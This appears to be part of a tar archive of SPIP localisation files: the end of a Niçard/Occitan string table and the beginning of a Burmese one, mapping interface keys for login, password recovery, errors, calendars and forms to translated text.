'info_rechercher_02' => 'Recercà :',
'info_remplacer_vignette' => 'Remplaçà la vigneta predefinida per un logo persounalisat :',
'info_rubriques_nb' => '@nb@ rùbrica',
'info_rubriques_un' => '1 rùbrica',
'info_sans_titre_2' => 'sensa titre',
'info_selectionner_fichier' => 'Poudès seleciounà un fichié dóu doussié @upload@',
'info_selectionner_fichier_2' => 'Seleciounà un fichié :',
'info_sites_nb' => '@nb@ sit',
'info_sites_un' => '1 sit',
'info_supprimer_vignette' => 'suprimà la vigneta',
'info_symbole_bleu' => 'Lou sìmbolou <b>blu</b> marca una <b>nota de renembrança</b> : es a dire un message dóu vouòstre usage persounal.',
'info_symbole_jaune' => 'Lou sìmbolou <b>jaune</b> marca un <b>anounci per toui lu redatour </b>: lu aministratour la pouòdon moudificà, cada redatour la pòu veire.',
'info_symbole_vert' => 'Lou sìmbolou <b>vert</b> marca lu <b>message cambiat embé d’autre utilisaire</b> dóu sit.',
'info_telecharger_nouveau_logo' => 'Telecargà un nouvèu logo :',
'info_telecharger_ordinateur' => 'Telecargà dau vouòstre ourdinatour :',
'info_tous_resultats_enregistres' => '[toui lu resultat soun registrat]',
'info_tout_afficher' => 'Tout afichà',
'info_travaux_texte' => 'Estou sit es pas encara counfigurat. Tournès pu tardi...',
'info_travaux_titre' => 'Sit en obra',
'info_trop_resultat' => 'Tròu de resultat per "@cherche_mot@" ; vourguès afinà la recercà.',
'info_utilisation_messagerie_interne' => 'Utilisàs la messagerìa interna d’estou sit.',
'info_valider_lien' => 'validà aquel estac',
'info_verifier_image' => ', vourguès verificà que li vouòstri image soun estadi trasferidi courretamen.',
'info_vignette_defaut' => 'Vigneta predefinida',
'info_vignette_personnalisee' => 'Vigneta persounalisada',
'info_visite' => 'visita :',
'info_vos_rendez_vous' => 'Lu vouòstre apountamen a venì',
'infos_vos_pense_bete' => 'Li vouòstri nota de renembrança ',
// L
'label_ajout_id_rapide' => 'Ajountamen rapide',
'label_poids_fichier' => 'Tàia',
'lien_afficher_icones_seuls' => 'Afichà li icona souleti',
'lien_afficher_texte_icones' => 'Afichà li icona e lou test',
'lien_afficher_texte_seul' => 'Afichà lou test soulet',
'lien_liberer' => 'liberà',
'lien_liberer_tous' => 'Liberà tout',
'lien_nouvea_pense_bete' => 'NOUVÈLA NOTA DE RENEMBRANÇA ',
'lien_nouveau_message' => 'NOVÈU MESSAGE',
'lien_nouvelle_annonce' => 'NOVÈL ANOUNCI',
'lien_petitions' => 'PETICIOUN',
'lien_popularite' => 'poupularità : @popularite@%',
'lien_racine_site' => 'RAÏS DÓU SIT',
'lien_reessayer' => 'reprouvà',
'lien_repondre_message' => 'Respouòndre en aqueu message',
'lien_supprimer' => 'suprimà',
'lien_tout_afficher' => 'Tout afichà',
'lien_visite_site' => 'visità aqueu sit',
'lien_visites' => '@visites@ visita',
'lien_voir_auteur' => 'Veire aquel autour',
'ligne' => 'Ligna',
'login' => 'Counessioun',
'login_acces_prive' => 'achès a l’espaci privat',
'login_autre_identifiant' => 'si counetà embé un autre identificant',
'login_cookie_accepte' => 'Vourguès counfigurà lou vouòstre navigatour per que lu acheta (au màncou per estou sit).',
'login_cookie_oblige' => 'Per v’identificà d’una manièra segura soubre estou sit, vi còu achetà lu cookie.',
'login_deconnexion_ok' => 'Descounessioun efetuada',
'login_erreur_pass' => 'Errour de mot de passa.',
'login_espace_prive' => 'espaci privat',
'login_identifiant_inconnu' => 'L’identificant « @login@ » es escounouissut.',
'login_login' => 'Login :',
'login_login2' => 'Login o adressa email:',
'login_login_pass_incorrect' => '(Login o mot de passa incourret.)',
'login_motpasseoublie' => 'mot de passa denembrat ?',
'login_non_securise' => 'Mèfi, qu’aqueu fourmulari es pas securisat.
Se noun voulès que lou vouòstre mot de passa sigue
interchetat sus la taragnina, vourguès ativà Javascript
en lou vouòstre navigatour e',
'login_nouvelle_tentative' => 'nouvèla tentativa',
'login_par_ici' => 'Sias registrat... per aquì...',
'login_pass2' => 'Mot de passa :',
'login_preferez_refuser' => '<b>Se preferas refudà lu cookie</b>, un autre mètodou de counessioun (mens securisat) es a la vouòstra dispousicioun :',
'login_recharger' => 'Recargà aquela pàgina',
'login_rester_identifie' => 'Restà identificat quauqu jou',
'login_retour_public' => 'Retour au sit pùblicou',
'login_retour_site' => 'Retour au sit pùblicou',
'login_retoursitepublic' => 'retour au sit pùblicou',
'login_sans_cookiie' => 'Identificacioun sensa cookie',
'login_securise' => 'Login securisat',
'login_sinscrire' => 's’inscriéure',
'login_test_navigateur' => 'prouva navigatour/recounessioun',
'login_verifiez_navigateur' => '(verificas pura que lou vouòstre navigatour noun àugue counservat lou mot de passa en memòria...)',
// M
'masquer_colonne' => 'Escoundre aquela coulòna',
'masquer_trad' => 'Escoundre li traducioun',
'module_fichiers_langues' => 'Fichié de lenga',
// N
'navigateur_pas_redirige' => 'Se lou vouòstre navigatour noun es redirigiat, clicàs aquí per continuà.',
'numero' => 'Nùmero',
// O
'occurence' => 'Ocurença',
'onglet_affacer_base' => 'Escassà la basa',
'onglet_auteur' => 'L’autour',
'onglet_contenu_site' => 'Countengut dóu sit',
'onglet_evolution_visite_mod' => 'Evoulucioun',
'onglet_fonctions_avances' => 'Founcioun avançadi',
'onglet_informations_personnelles' => 'Infourmacioun persounali',
'onglet_interactivite' => 'Interatività',
'onglet_messagerie' => 'Messagerìa',
'onglet_repartition_rubrique' => 'Reparticioun da rùbrica',
'onglet_save_restaur_base' => 'Sauvagardà/restaurà la basa',
'onglet_vider_cache' => 'Vuà l’amagadou',
// P
'pass_choix_pass' => 'Vourguès chausì lou vouòstre nouvèu mot de passa :',
'pass_erreur' => 'Errour',
'pass_erreur_acces_refuse' => '<b>Errour :</b> poudès plus achèdre en aqueu sit.',
'pass_erreur_code_inconnu' => '<b>Errour :</b> aquestou code courrespouònde a mìnga de visitaire qu’an achès en estou sit.',
'pass_erreur_non_enregistre' => '<b>Errour :</b> l’adressa <tt>@email_oubli@</tt> noun es registrada soubre estou sit.',
'pass_erreur_non_valide' => '<b>Errour :</b> aquel e-mail <tt>@email_oubli@</tt> noun es valid !',
'pass_erreur_probleme_technique' => '<b>Errour :</b> per l’encausa d’un proublema tècnicou, l’e-mail noun si pòu estre mandat. ',
'pass_espace_prive_bla' => 'L’espaci privat d’estou sit es dubèrt ai
visitaire que si soun inscrich. Un còu registrat,
pourès counsultà lu article en cours de redacioun,
proupausà d’article nouvèu e participà a toui lu fòrou.',
'pass_forum_bla' => 'Avès demandat d’intervenì en un fòrou
reservat ai visitaire registrat.',
'pass_indiquez_cidessous' => 'Endicàs aquì souta l’adressa e-mail qu’avès
prechendetemen registrat.
Receverès un e-mail que v’endiquerà couma
reavé lou vouòstre achès.',
'pass_mail_passcookie' => '(acò es un message autoumatic)
Per reavé lou vouòstre achès au sit
@nom_site_spip@ (@adresse_site@)
Vourguès anà a l’adressa seguenta:
@sendcookie@
Pouràs intrà un mot de passa nouvèu
e vi recounetà au sit.
',
'pass_mot_oublie' => 'Mot de passa denembrat',
'pass_nouveau_enregistre' => 'Lou vouòstre nouvèu mot de passa es estat registrat.',
'pass_nouveau_pass' => 'Mot de passa nouvèu',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Denembrança dóu mot de passa',
'pass_procedure_changer' => 'Per changà lou vouòstre mot de passa, deven en premié verificà la vouòstra identità. Per acò, endicàs l’adressa e-mail assouciada au vouòstre conte.',
'pass_quitter_fenetre' => 'Quitar aquesta fenèstra ',
'pass_rappel_login' => 'Renembrança: lo voastre identificant (login) es « @login@ ».',
'pass_recevoir_mail' => 'Receverès un e-mail que v’espliquerà couma retroubà lou vouòstre achès au sit.',
'pass_retour_public' => 'Retour soubre lou sit pùblicou',
'pass_rien_a_faire_ici' => 'Ren à faire aquì.',
'pass_vousinscrire' => 'V’inscriéure soubre estou sit',
'precedent' => 'prechedent',
'previsualisation' => 'Previsualisacioun',
'previsualiser' => 'Previsualisà',
// R
'retour' => 'Retour',
// S
'spip_conforme_dtd' => 'SPIP counsidèra aqueu doucumen couma counforme au sieu DOCTYPE :',
'squelette' => 'Esquèletrou',
'squelette_inclus_ligne' => 'esquèletrou enclus, ligna',
'squelette_ligne' => 'esquèletrou, ligna',
'stats_visites_et_popularite' => '@visites@ visita ; poupularità : @popularite@',
'suivant' => 'seguent',
// T
'taille_go' => '@taille@ Go',
'taille_ko' => '@taille@ Ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ octet',
'texte_actualite_site_1' => 'Quoura serès familharisat embé l’interfaça, pourès clicà sus « ',
'texte_actualite_site_2' => 'interfaça coumpleta',
'texte_actualite_site_3' => '» per avé mai de poussibilità.',
'texte_creation_automatique_vignette' => 'La creacioun autoumatica de vigneta de previsualisacioun es ativada soubre estou sit. S’instalàs d’image ai fourmat @gd_formats@ a partì d’estou fourmulari, seràn acoumpagnadi d’una vinheta d’una talha massimala de @taille_preview@ pixel.',
'texte_documents_associes' => 'Lu doucumen seguent soun assouciat dau article,
mà soun pas estat diretamen
inserat. Segoun la coumpaginacioun dóu sit public,
pouran aparèisse souta fourma de doucumen jounch.',
'texte_erreur_mise_niveau_base' => 'Errour de basa de dounada dóu tems de la metuda a nivèu.
L’image <b>@fichier@</b> es pas passada (article @id_article@).
Noutàs ben aquela referença, reprouvàs la metuda a
nivèu, e verificàs pi que lu image aparèisson
encara en lu article.',
'texte_erreur_visiteur' => 'Avès prouvat d’achèdre a l’espaci privat emb’un identificant que noun lou permete.',
'texte_inc_auth_1' => 'Sias identificat couma
<b>@auth_login@</b>, ma aquèu login noun esista o esista plus en la basa.
Prouvàs de vi',
'texte_inc_auth_2' => 'recounetà',
'texte_inc_auth_3' => ', après avé eventualamen quitat pi
relançat lou vouòstre navigatour.',
'texte_inc_config' => 'Li moudificacioun fachi en aqueli pàgina influissoun bravamen lou
founciounamen dóu vouòstre sit. Vi racoumanden de noun li intervenì tant que noun sias
familiarisat au founciounamen dóu sistèma SPIP. <br /><br /><b>
En general, es fouòrça counseiat
de laissà la carga d’aqueli pàgina au webmestre principal dóu vouòstre sit.</b>',
'texte_inc_meta_1' => 'Lou sistèma a rescountrat un errour dóu tems de l’escritura dóu fichié <code>@fichier@</code>. Vourguès, couma aministratour dóu sit,',
'texte_inc_meta_2' => 'verificà lu drech d’escritura',
'texte_inc_meta_3' => 'sus lou repertori <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'en cours de redacioun',
'texte_statut_poubelle' => 'dai rementa',
'texte_statut_propose_evaluation' => 'proupausat per evaluacioun',
'texte_statut_publie' => 'publicat en ligna',
'texte_statut_refuse' => 'refudat',
'titre_ajouter_mot_cle' => 'AJUSTÀ UN MOT CLAU :',
'titre_cadre_raccourcis' => 'ESCOURCHA :',
'titre_changer_couleur_interface' => 'Changià la coulou de l’interfaça',
'titre_image_admin_article' => 'Poudès aministrà aquel article',
'titre_image_administrateur' => 'Aministratour',
'titre_image_aide' => 'D’ajuda sus aquel elemen',
'titre_image_auteur_supprime' => 'Autour suprimat',
'titre_image_redacteur' => 'Redatour sensa achès',
'titre_image_redacteur_02' => 'Redatour',
'titre_image_selecteur' => 'Afichà la lista',
'titre_image_visiteur' => 'Visitaire',
'titre_joindre_document' => 'JOUGNE UN DOUCUMEN',
'titre_mots_cles' => 'MOT CLAU',
'titre_probleme_technique' => 'Mèfi : un proublema tecnic (servidou SQL) empacha d’achedre en aquela part dóu sit. Mercì de la vouòstra indulgença.',
'titre_publier_document' => 'PUBLICÀ UN DOUCUMEN EN AQUELA RÙBRICA',
'titre_signatures_attente' => 'Firma en aspèra de validacioun',
'titre_signatures_confirmees' => 'Firma counfirmadi',
'titre_statistiques' => 'Estatistica dóu sit',
'titre_titre_document' => 'Titre dóu doucumen :',
'todo' => 'De venì',
'trad_definir_reference' => 'Chausì "@titre@" couma referença dei traducioun',
'trad_reference' => '(referença dei traducioun)',
// Z
'zbug_balise_b_aval' => ' : balisa B davau',
'zbug_balise_inexistante' => 'Balisa @balise@ mau declarada per @from@ ',
'zbug_balise_sans_argument' => 'Argumen mancant en la balisa @balise@',
'zbug_boucle' => 'blouca',
'zbug_boucle_recursive_undef' => 'blouca recursiva noun definida : @nom@',
'zbug_calcul' => 'carcul',
'zbug_champ_hors_boucle' => 'Camp @champ@ fouòra de blouca',
'zbug_champ_hors_motif' => 'Camp @champ@ fouòra d’un counteste @motif@',
'zbug_code' => 'code',
'zbug_critere_inconnu' => 'critèri escounouissut @critere@',
'zbug_critere_sur_table_sans_cle_primaire' => '{@critere@} sus una taula sensa clau primari atoumica',
'zbug_distant_interdit' => 'Estèrnou prouhibit', # Contexte : une base de données "externe", pas gérée par SPIP, mais que SPIP 1.8 sait utiliser dans ses boucles -- seul problèmes certaines manipulations sont interdites sur ces bases-là.
'zbug_doublon_table_sans_cle_primaire' => 'doubloun sus una taula sensa clau primari atoumica',
'zbug_doublon_table_sans_index' => 'doubloun sus una taula sensa ìndice',
'zbug_erreur_boucle_double' => 'Double definicioun de la blouca @id@',
'zbug_erreur_boucle_fermant' => 'Blouca @id@ noun fermada',
'zbug_erreur_boucle_syntaxe' => 'Sintassa de la blouca mau courreta',
'zbug_erreur_compilation' => 'Errour de coumpilacioun',
'zbug_erreur_execution_page' => 'errour d’esecucioun de la pàgina',
'zbug_erreur_filtre' => 'Errour : filtre <b>« @filtre@ »</b> noun definit',
'zbug_erreur_meme_parent' => '{meme_parent} s’aplica unicamen ai blouca (FORUMS) o (RUBRIQUES)',
'zbug_erreur_squelette' => 'Errour en l’esquelètrou',
'zbug_hors_compilation' => 'Fouòra Coumpilacioun',
'zbug_info_erreur_squelette' => 'Error soubre lou sit',
'zbug_inversion_ordre_inexistant' => 'inversioun d’un ordre inesistent',
'zbug_pagination_sans_critere' => 'Balisa #PAGINATION sensa critèri {pagination} o emplegada en una blouca recoursiva',
'zbug_parametres_inclus_incorrects' => 'Parametre d’enclusioun mau courret : @param@',
'zbug_profile' => 'Tems de carcul : @time@',
'zbug_resultat' => 'resultat',
'zbug_serveur_indefini' => 'servidou SQL indefinit',
'zbug_statistiques' => 'Estatìstica dei requesta SQL classificadi per durada',
'zbug_table_inconnue' => 'Taula SQL « @table@ » escounouissuda',
'zxml_connus_attributs' => 'atribut counouissut',
'zxml_de' => 'de',
'zxml_inconnu_attribut' => 'atribut escounouissut',
'zxml_inconnu_balise' => 'balisa escounouissuda',
'zxml_inconnu_entite' => 'entitat escounouissuda',
'zxml_inconnu_id' => 'ID escounouissut',
'zxml_mais_de' => 'mà de',
'zxml_non_conforme' => 'noun es counforme au moutiéu',
'zxml_non_fils' => 'noun es un enfant de',
'zxml_nonvide_balise' => 'balisa noun vuèia',
'zxml_obligatoire_attribut' => 'atribut oubligatori mà assent en',
'zxml_succession_fils_incorrecte' => 'suchessioun dei enfant mau courret',
'zxml_survoler' => 'survolà per veire lu courret',
'zxml_valeur_attribut' => 'valour de l’atribut',
'zxml_vide_balise' => 'balisa vuèia',
'zxml_vu' => 'vist adé'
);
?>
spip_my.php 0000666 00000165457 15252547432 0006774 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=my
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => ' မြန်မာ[my]',
'0_liste' => 'spip-en@rezo.net',
'0_mainteneur' => 'George Kandalaft (george@diwanalarab.com)',
// A
'access_interface_graphique' => 'ရုပ်ပုံစာမျက်နှာသို့ ပြန်သွားပါ',
'access_mode_texte' => 'ရိုးရိုးစာမျက်နှာကို ပြပါ',
'admin_debug' => 'ပြန်ပြင်ပါ',
'admin_modifier_article' => 'ဤစာစောင်ကို ပြန်ပြင်ပါ',
'admin_modifier_auteur' => 'ဤစာရေးသူကို ပြန်ပြင်ရန်',
'admin_modifier_breve' => 'ဤသတင်းကို ပြန်ပြင်ပါ',
'admin_modifier_mot' => 'ဤစာစုကို ပြန်ပြင်ပါ',
'admin_modifier_rubrique' => 'ဤအပိုင်းကို ပြန်ပြင်ပါ',
'admin_recalculer' => 'ဤစာမျက်နှာကို ပြန်ဖွင့်ပါ',
'afficher_trad' => 'ဘာသာပြန်ကို ပြပါ',
'alerte_maj_impossible' => '<b>သတိပေးချက်!</b> MySQL မူကွဲ @version@သို့ မြင့်တင်ရန် အဆင်မပြေပါ၊ ခွင့်ပြုချက် ပြသနာကြောင့် ဖြစ်နိုင်ပါသည်။ သင့် ISPကိုဆက်သွယ်ပါ',
'analyse_xml' => 'XML parsing',
'antispam_champ_vide' => 'ဤနေရာကို ချန်လပ်ထားပေးပါ',
'articles_recents' => 'အသစ်ဆုံး ဆောင်းပါးများ',
'avis_archive_incorrect' => 'ဖိုင်တွဲသည် SPIP ဖိုင်အမျိုးအစား မဟုတ်ပါ',
'avis_archive_invalide' => 'ဖိုင်တွဲမရှိပါ',
'avis_attention' => ' * သတိပေးချက် * ',
'avis_champ_incorrect_type_objet' => 'ဒီ @type@ အမျိုးအစားအတွက် နာမည်@name@ မရှိပါ',
'avis_colonne_inexistante' => 'ကော်လံ @col@ မရှိပါ',
'avis_erreur' => 'အမှား၊ အောက်ပါကို ကြည့်ရှုပါ',
'avis_erreur_connexion' => 'ဆက်သွယ်မှု အမှား',
'avis_erreur_cookie' => 'cookie ပြသနာ',
'avis_erreur_fonction_contexte' => 'ပရိုဂရမ် အမှား၊ ဤလုပ်ဆောင်ချက်ကို ထပ်မံမခေါ်သင့်ပါ',
'avis_erreur_mysql' => 'MySQL အမှား',
'avis_erreur_sauvegarde' => 'အရန်ထိန်းသိမ်းမှု အမှား (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'ကိုယ်ပိုင်ကန့်သတ် နယ်မြေသို့ ဝင်ရန်အခက်အခဲရှိသည်',
// B
'barre_a_accent_grave' => 'အစဉ်လိုက်ကို စီရန် A ထည့်ပါ',
'barre_aide' => 'သင့်မြင်ကွင်းကို ပြုပြင်အချောသတ်ရန် စာရိုက်စနစ်ကို အသုံးပြုပါ',
'barre_e_accent_aigu' => 'အစဉ်လိုက်ကို စီရန် E ထည့်ပါ',
'barre_eo' => 'oe-ligature ကိုထည့်ပါ',
'barre_eo_maj' => 'EO-ligature ကိုထည့်ပါ',
'barre_euro' => '€ အမှတ်ကို ထည့်သွင်းပါ',
'barre_gras' => '{{bold type}} ထဲတွင်ထည့်ပါ',
'barre_guillemets' => 'မျက်တောင် \\"ဖွင့်၊ ပိတ်\\" ကြားတွင်ထည့်ပါ',
'barre_guillemets_simples' => 'မျက်တောင် ’ဖွင့်၊ ပိတ်’ ကြားတွင်ထည့်ပါ',
'barre_intertitre' => '{{{subheading}}} သို့ပြန်ပြောင်းပါ',
'barre_italic' => '{italics} စာလုံးစောင်းနှင့် ထည့်ပါ',
'barre_lien' => '[hyperlink->http://...]သို့ပြောင်းပါ',
'barre_lien_input' => 'သင့် hyperlink လိပ်စာကိုထည့်ပါ (နမူနာ၊ http://www.mysite.com ဒီဝက်ဘ်ဆိုက်ပေါ်ရှိ ဆောင်းပါး နံပါတ်ကို ထည့်သွင်းပါ)',
'barre_note' => '[[Footnote]]သို့ပြန်သွားပါ',
'barre_quote' => '<quote>စာစောင်ကို ကုဒ်လုပ်ပါ</quote>',
'bouton_changer' => 'ပြုပြင်ရန်',
'bouton_chercher' => 'ရှာဖွေရန်',
'bouton_choisir' => 'ရွေးချယ်ရန်',
'bouton_download' => 'Télécharger', # MODIF
'bouton_enregistrer' => 'သိမ်းဆည်းရန်',
'bouton_radio_desactiver_messagerie_interne' => 'အတွင်းသတင်းစကား ပေးပို့ခြင်းတားမြစ်ရန်',
'bouton_radio_envoi_annonces' => 'အယ်ဒီတာ့ ပြန်ကြားချက်များ ပေးပို့ရန်',
'bouton_radio_non_envoi_annonces' => 'မည့်သည့်ပြန်ကြားချက်မျှ မပို့ရန်',
'bouton_radio_non_envoi_liste_nouveautes' => 'နောက်ဆုံးရ သတင်းစာရင်း မပို့ရန်',
'bouton_recharger_page' => 'ဤစာမျက်နှာကို ပြန်ဖွင့်ရန်',
'bouton_telecharger' => 'ထည့်သွင်းရန်',
'bouton_upload' => 'ထည့်သွင်းရန်', # MODIF
'bouton_valider' => 'တင်သွင်းရန်',
// C
'cal_apresmidi' => 'နေ့လည်ပိုင်း (p.m.)',
'cal_jour_entier' => 'တနေ့လုံး',
'cal_matin' => 'မနက်ပိုင်း (a.m.)',
'cal_par_jour' => 'နေ့တိုင်းပြ calendar',
'cal_par_mois' => 'လတိုင်းပြ calendar',
'cal_par_semaine' => 'အပတ်တိုင်းပြ calendar',
'choix_couleur_interface' => 'အရောင်',
'choix_interface' => 'စာမျက်နှာ ပုံစံရွေးချယ်ရန်',
'colonne' => 'ကော်လံ',
'confirm_changer_statut' => 'အတည်ပြုချက် လိုအပ်သည်၊ ဤဆောင်းပါး၏ အနေအထားကို ပြုပြင်လိုပါသလား?',
'correcte' => 'မှန်ကန်သည်',
// D
'date_aujourdhui' => 'ဒီနေ့',
'date_avant_jc' => 'B.C.',
'date_dans' => '@delai@ထဲမှာ',
'date_de_mois_1' => '@nommois@ @j@',
'date_de_mois_10' => '@nommois@ @j@',
'date_de_mois_11' => '@nommois@ @j@',
'date_de_mois_12' => '@nommois@ @j@',
'date_de_mois_2' => '@nommois@ @j@',
'date_de_mois_3' => '@nommois@ @j@',
'date_de_mois_4' => '@nommois@ @j@',
'date_de_mois_5' => '@nommois@ @j@',
'date_de_mois_6' => '@nommois@ @j@',
'date_de_mois_7' => '@nommois@ @j@',
'date_de_mois_8' => '@nommois@ @j@',
'date_de_mois_9' => '@nommois@ @j@',
'date_demain' => 'မနက်ဖြန်',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_jour_heure' => '@jour@ မှ @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => '@nomjour@ @date@ မှာ',
'date_heures' => 'အချိန်နာရီ',
'date_hier' => 'မနေ့က',
'date_il_y_a' => '@delai@ လွန်အချိန်မှာ',
'date_jnum1' => '၁',
'date_jnum10' => '၁၀',
'date_jnum11' => '၁၁',
'date_jnum12' => '၁၂',
'date_jnum13' => '၁၃',
'date_jnum14' => '၁၄',
'date_jnum15' => '၁၅',
'date_jnum16' => '၁၆',
'date_jnum17' => '၁၇',
'date_jnum18' => '၁၈',
'date_jnum19' => '၁၉',
'date_jnum2' => '၂',
'date_jnum20' => '၂၀',
'date_jnum21' => '၂၁',
'date_jnum22' => '၂၂',
'date_jnum23' => '၂၃',
'date_jnum24' => '၂၄',
'date_jnum25' => '၂၅',
'date_jnum26' => '၂၆',
'date_jnum27' => '၂၇',
'date_jnum28' => '၂၈',
'date_jnum29' => '၂၉',
'date_jnum3' => '၃',
'date_jnum30' => '၃၀',
'date_jnum31' => '၃၁',
'date_jnum4' => '၄',
'date_jnum5' => '၅',
'date_jnum6' => '၆',
'date_jnum7' => '၇',
'date_jnum8' => '၈',
'date_jnum9' => '၉',
'date_jour_1' => 'တနဂၤေႏြွေ',
'date_jour_1_abbr' => 'ေႏြေ',
'date_jour_1_initiale' => 'န',
'date_jour_2' => 'တနလၤာ',
'date_jour_2_abbr' => 'လာ',
'date_jour_2_initiale' => 'လ',
'date_jour_3' => 'အဂၤါ',
'date_jour_3_abbr' => 'ဂါ',
'date_jour_3_initiale' => 'ဂ',
'date_jour_4' => 'ဗုဒၶဟူး',
'date_jour_4_abbr' => 'ဟူး',
'date_jour_4_initiale' => 'ဟ',
'date_jour_5' => 'ကၾကာသပေတး',
'date_jour_5_abbr' => 'ၾကာ',
'date_jour_5_initiale' => 'က',
'date_jour_6' => 'ေသာၾကာ',
'date_jour_6_abbr' => 'ေသာ',
'date_jour_6_initiale' => 'သ',
'date_jour_7' => 'စေန',
'date_jour_7_abbr' => 'ေန',
'date_jour_7_initiale' => 'စ',
'date_jours' => 'ရက်များ',
'date_minutes' => 'မိနစ်များ',
'date_mois' => 'လများ',
'date_mois_1' => 'ျပာသုိ',
'date_mois_10' => 'သီတင္းကြ်တ္',
'date_mois_10_abbr' => 'ကြ်တ္',
'date_mois_11' => 'တန္ေဆာင္မုန္း',
'date_mois_11_abbr' => 'မုန္း',
'date_mois_12' => 'နတ္ေတာ္',
'date_mois_12_abbr' => 'နတ္',
'date_mois_1_abbr' => 'ျပာ',
'date_mois_2' => 'တပုိ႔တြဲ',
'date_mois_2_abbr' => 'တြဲ',
'date_mois_3' => 'တန္ေပါင္း',
'date_mois_3_abbr' => 'ေပါင္း',
'date_mois_4' => 'တန္ခူး',
'date_mois_4_abbr' => 'ခူး',
'date_mois_5' => 'ကဆုန္',
'date_mois_5_abbr' => 'ဆုန္',
'date_mois_6' => 'နယုန္',
'date_mois_6_abbr' => 'ယုန္',
'date_mois_7' => 'ဝါဆုိ',
'date_mois_7_abbr' => 'ဝါဆုိ',
'date_mois_8' => 'ဝါေခါင္',
'date_mois_8_abbr' => 'ဝါေခါင္',
'date_mois_9' => 'ေတာ္သလင္း',
'date_mois_9_abbr' => 'ေတာ္',
'date_saison_1' => 'ဆောင်းရာသီ',
'date_saison_2' => 'နွေဦးရာသီ',
'date_saison_3' => 'နွေရာသီ',
'date_saison_4' => 'မိုးရာသီ',
'date_semaines' => 'အပတ်များ',
'dirs_commencer' => 'ထည့်သွင်းခြင်းကို တကယ်လုပ်ရန်',
'dirs_preliminaire' => 'ရှေးဦးမှတ်ချက်၊ <b>လုပ်ပိုင်ခွင့်ကို အရင်ဦးဆုံး သတ်မှတ်ပါ</b>',
'dirs_probleme_droits' => 'လုပ်ပိုင်ခွင့် ပြသနာရှိနေသည်',
'dirs_repertoires_absents' => '<p><b>အောက်ပါ ဖိုင်တွဲများ မတွေ့ရှိပါ</b></p><ul>@bad_dirs@</ul><p>ဖိုင်တွဲနာမည် စာလုံးအကြီးအသေး ပြသနာကြောင့် ဖြစ်နိုင်သည်။ ပြန်လည် စမ်းစစ်ရန် လိုအပ်သည်</p><p>စမ်းစစ်လို့ အဆင်ပြေနိုင်ပါသည်',
'dirs_repertoires_suivants' => '<p><b>အောက်ပါဖိုင်တွဲများ ထပ်မံရေးပိုင်ခွင့် ခွင့်ပြုချက်မရှိပါ </b></p><ul>@bad_dirs@</ul>
<p>သင့် FTP client ကိုသုံးပြီး ပြောင်းလဲနိုင်ပါသည်။ အသေးစိတ်သိရှိလိုပါက အညွှန်းစာတမ်းကို ပြန်ကြည့်ပါ</p><p>အဲဒီလိုပြင်ပြီးရင်တော့ အဆင်ပြေမှာပါ',
'double_occurrence' => 'အဖြစ်အပျက် နှစ်ခု', # MODIF
// E
'envoi_via_le_site' => 'ဝက်ဘ်ဆိုက်မှတဆင့် ပေးပို့ပါ',
'erreur' => 'အမှားအယွင်း',
'erreur_balise_non_fermee' => 'နောက်ဆုံး တေးမှတ်ချက် ပိတ်မထားပါ',
'erreur_texte' => 'အမှား(များ)',
// F
'fichier_introuvable' => '@fichier@ဖိုင်မတွေ့ရပါ',
'form_deja_inscrit' => 'သင်မှတ်ပုံတင်ထားပြီးပြီ',
'form_email_non_valide' => 'သင့်အီးမေးလ် မှန်ကန်မှုမရှိပါ',
'form_forum_access_refuse' => 'ဤဝက်ဘ်ဆိုက်ထဲသို့ ဝင်ခွင့် သင့်မှာမရှိတော့ပါ',
'form_forum_bonjour' => 'မင်္ဂလာပါ @nom@',
'form_forum_email_deja_enregistre' => 'ဤအီးမေးလ်သည် မှတ်ပုံတင်ထားပြီးဖြစ်ပါတယ်၊ ပုံမှန်စကားဝှက်ကို အသုံးပြုနိုင်ပါသည်',
'form_forum_identifiant_mail' => 'သင့်အမှတ်အသားသစ်ကို အီးမေးလ်မှတဆင့် ပို့ထားပြီးပြီ',
'form_forum_identifiants' => 'ကိုယ်ပိုင် အမှတ်အသား',
'form_forum_indiquer_nom_email' => 'သင့်နာမည်နှင့် အီးမေးလ်လိပ်စာကို ထည့်ပါ၊ များမကြာမီ ချိန်အတွင်း သင့်ကိုယ်ပိုင် အမှတ်အသားကို အီးမေးလ်မှတဆင့်ရောက်လာပါလိမ့်မည်',
'form_forum_login' => 'ဝင်ရန်',
'form_forum_message_auto' => '(ဤသတင်းစကားသည် အလိုအလျှောက် ဖြစ်သည်)',
'form_forum_pass' => 'စကားဝှက်',
'form_forum_probleme_mail' => 'မေးလ်ပြသနာ၊ ဒီစာကို ပို့မပေးနိုင်ပါ',
'form_forum_voici1' => 'ဒီမှာ \\"@nom_site_spip@\\" (@adresse_site@) သင့်ရဲ့အမှတ်အသား',
'form_forum_voici2' => 'ဆောင်းပါးများ တင်သွင်းရန် ဒီမှာသင့်ရဲ့ မှတ်ပုံတင် \\"@nom_site_spip@\\" (@adresse_login@)',
'form_indiquer_email' => 'သင့်ရဲ့အီးမေးလ် လိပ်စာကိုထည့်ပါ',
'form_indiquer_nom' => 'သင့်နာမည်ကိုထည့်ပါ',
'form_indiquer_nom_site' => 'သင့်ဝက်ဘ်ဆိုက် နာမည်ကိုထည့်ပါ',
'form_pet_deja_enregistre' => 'ဤဆိုက်သည် မှတ်ပုံတင်ထားပြီးသားဖြစ်သည်',
'form_pet_signature_pasprise' => 'သင့်လက်မှတ်ကတော့ လျစ်လျှူရှုခြင်းခံရပါတယ်',
'form_prop_confirmer_envoi' => 'ပို့ဆောင်မှုကို အတည်ပြုပါ',
'form_prop_description' => 'အကျဉ်းချုံးဖော်ပြချက်/မှတ်ချက်',
